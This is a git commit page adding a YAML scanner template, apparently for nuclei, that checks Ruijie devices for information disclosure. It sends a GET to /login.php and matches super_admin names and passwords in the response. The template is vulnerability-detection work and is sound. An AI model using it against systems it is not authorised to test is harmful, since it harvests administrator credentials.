Merge pull request #1044 from pikpikcu/patch-116

Create ruijie-information-disclosure
patch-1
PD-Team 2021-03-08 19:06:57 +05:30 committed by GitHub
commit c49a2624bf
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: ruijie-information-disclosure
info:
name: Ruijie Information Disclosure
author: pikpikcu
severity: high
reference: https://www.cnblogs.com/cHr1s/p/14499858.html
tags: ruijie
requests:
- method: GET
path:
- '{{BaseURL}}/login.php'
matchers-condition: and
matchers:
- type: regex
regex:
- '"role":"super_admin","name":"(.*)","password":"(.*)"'
part: body
condition: and
- type: status
status:
- 200